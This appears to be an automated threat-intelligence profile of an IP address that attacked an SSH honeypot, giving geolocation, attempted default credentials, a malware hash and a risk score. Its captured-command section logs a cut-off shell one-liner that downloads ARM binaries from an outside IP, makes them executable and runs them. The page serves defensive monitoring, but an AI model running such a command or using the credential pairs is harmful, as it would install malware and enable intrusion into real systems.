TROYANOSYVIRUS
Active Threat • LOW

176.65.139.68

Country of Origin🇱🇺 LU
First Detection4/19/2026
Last Activity4/19/2026
ISPOffshore LC
🎯
33
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
1
Malware

Geolocation

Country
🇱🇺 LU
City
Unknown
ASN
AS214472
ISP
Offshore LC

Attack Types

ssh_telnet_honeypot

Attacked Ports

22

Associated Malware

ac57cd2bb9ed1d4e7357...→

Attempted Credentials

🔐admin/12345
2x
🔐root/123456
1x
🔐admin/admin
1x
🔐root/password
1x
🔐root/admin
1x

Executed Commands

$cd /tmp || cd /var/run || cd /mnt; wget http://194.110.247.62/main_arm -O main_arm || curl -L http://194.110.247.62/main_arm -o main_arm; chmod +x main_arm; ./main_arm SSH; rm -rf main_arm; wget http://194.110.247.62/main_arm5 -O main_arm5 || curl -L http://194.110.247.62/main_arm5 -o main_arm5; chmod +x main_arm5; ./main_arm5 SSH; rm -rf main_arm5; wget http://194.110.247.62/main_arm6 -O main_arm6 || curl -L http://194.110.247.62/main_arm6 -o main_arm6; chmod +x main_arm6; ./main_arm6 SSH; rm -1x

Shodan InternetDB ExposureShodan

InternetDB data, not real-time

Ports
228086
CPEs
cpe:/a:openbsd:openssh:8.9p1cpe:/a:influxdata:influxdb:2.8.0cpe:/o:canonical:ubuntu_linux

Risk Assessment

25
/100
LowMediumHighCritical